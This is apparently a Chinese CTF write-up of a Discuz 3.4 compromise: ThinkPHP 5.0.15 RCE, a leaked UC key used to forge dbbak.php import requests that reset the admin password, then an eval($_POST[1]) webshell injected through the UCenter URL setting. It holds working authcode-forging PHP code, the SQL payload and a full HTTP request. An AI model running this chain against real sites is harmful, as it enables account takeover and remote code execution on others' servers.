红明谷线下 – Discuz 3.4 利用 ucKey Rce

/ 0评 / 0

前言

线下由于心急+上午扫了一上午目录,心态有点不太行,所以这题根本没看。复盘发现其实没那么难,这题目也是红明谷线下分值最高 质量最佳的一题

解题思路

1.ThinkPHP v5.0.15 rce

入手点是一个ThinkPHP v5.0.15 然后直接可以通过常见的命令执行Rce 拿到数据库中的另一个用户。登录后是一个Discuz的数据库(C段中另一个站、典型的站库分离)

image-20210421222004842

2.Discuz UcKey

数据没有有关后台的东西,但是有一个有意义的东西 authKey
网上有很多关于用他rce的 具体可以看
https://paper.seebug.org/1144/#getwebshell
他是通过注入获取到uc key 伪造cookie。请求修改密码接口,从而进入后台
实际上,比赛中这个洞被修了Orz
还有另一种方法利用

3.文件上传 + 管理员密码修改

首先构造一个zip 内容为

UPDATE <code>disucz.pre_ucenter_members SET password = md5(concat(md5('password'),'123456')), salt = '123456' WHERE uid = 1;

然后上传附件

image-20210421230818060

在api/dbbak.php利用authkey,export出数据库,具体参数
&method=export&tableid=0&sqlpath=backup_2020xx&backupfilename=4_b
tableid为0时,导出表结构,并返回数据库备份路径

<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}
$uc_key = "Zfd2vcf2Ydycedc7ecp6p3Ka17ecI8sfR1Zc41e7tdGbZc4907B6sdhc5dAdTa09";
$time = time() + 7200;
#$encode = "time=".$time."&method=import&dumpfile=/attachment/forum/202104/21/224359rllxelg658gx2xxs.zip";
$encode = "time=".$time."&method=export&tableid=0&sqlpath=backup_2020xx&backupfilename=4_b";
echo('?apptype=discuzx&code='.urlencode(_authcode($encode,'ENCODE',$uc_key)));

请求

image-20210421231035708

得到数据库备份路径,访问

image-20210421231145071

可以得知前台上传的文件均存在此表
构造相应的table id 访问导出数据库。下载得到文件名

image-20210421231248900

data/attachment/forum/202104/21/224359rllxelg658gx2xxs.zip
带着构造好的cookie访问
api/db/dbbak.php?apptype=discuzx&code=
为什么这里包含了个zip就重置密码了呢,我们看一下dbbak.php

image-20210421233758903

可以看到这里当为import下 会读取dumpfile路径然后执行sql。这里dumpfile是我们可控的参数

image-20210421233917931

执行sql后
密码已经被重置为password了

image-20210421231422546

4.后台Rce

可以参照
https://paper.seebug.org/1144/#getwebshell
中的做法
首先更改uccenter<a href="http://127.0.0.1:88/uc_server');eval($_POST[1">http://127.0.0.1:88/uc_server');eval($_POST[1</a>]);//
Uccenter key 已知
保存后发现单引号转义

image-20210421231740344

使用

<?php
$uc_key="123123";//此处填写刚才UCenter设置的值
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : '123456');
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);
  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);
  $result = '';
  $box = range(0, 255);
  $rndkey = array();
  for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  }
  for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
  }
  for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }
  if($operation == 'DECODE') {
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
      return substr($result, 26);
    } else {
      return '';
    }
  } else {
    return $keyc.str_replace('=', '', base64_encode($result));
  }
}
?>

访问如下格式并返回1 说明代码执行成功了

image-20210421231933737

POST /api/uc.php?code=01bcoUPZzc5h7F35tel8ZXmOOA5BSsB7Zd%2bhmGabyQZ78u3y%2f4uP%2f%2fjLkdWb2NQyS4Pi0YhIFGuw1vw2syc HTTP/1.1
Host: 127.0.0.1:88
Content-Length: 110
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:88
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:88/api/uc.php?code=01bcoUPZzc5h7F35tel8ZXmOOA5BSsB7Zd%2bhmGabyQZ78u3y%2f4uP%2f%2fjLkdWb2NQyS4Pi0YhIFGuw1vw2syc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1612847749; azZp_2132_saltkey=jUzAyw8H; azZp_2132_lastvisit=1619011601; azZp_2132_sid=wxBx0K; azZp_2132_lastact=1619015344%09index.php%09; xyoo_2132_sid=n5PjHL; xyoo_2132_saltkey=Un5WEMwo; xyoo_2132_lastvisit=1619013943; xyoo_2132_ulastactivity=88f7LROp7Y%2BfVbNe8ts80diuUz01DjQ8o56kYBqrMK3XWaK6xfRk; xyoo_2132_auth=7290uELwn0OAs5tM29zo7FUfltbQbCsGR0HsJPGhZbDO8DI1W7LdlM56XTNeKvuRpEg7wzzXDTe%2BMWJMHt4o; xyoo_2132_nofavfid=1; xyoo_2132_st_t=1%7C1619017687%7Cb6c4ac0ab8924391486d2e1e1efa9c21; xyoo_2132_forum_lastvisit=D_2_1619017687; xyoo_2132_visitedfid=2; xyoo_2132_smile=1D1; xyoo_2132_st_p=1%7C1619017688%7Ca7010cb8f34d8b016ef45c24cb5df709; xyoo_2132_viewid=tid_1; xyoo_2132_seccodecSn5PjHL=9.bafed19aa79b7df667; xyoo_2132_lastact=1619018365%09uc.php%09
Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">http://127.0.0.1:88/uc_server</item></root>

image-20210421232212507

之后访问
http://127.0.0.1:88/config/config_ucenter.php

image-20210421232221173

成功rce

后记

本题目当时做的时候,之前完全没打过Discuz 导致拿到数据库的一瞬间没看到密码,很是茫然。。。 也是学到很多

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注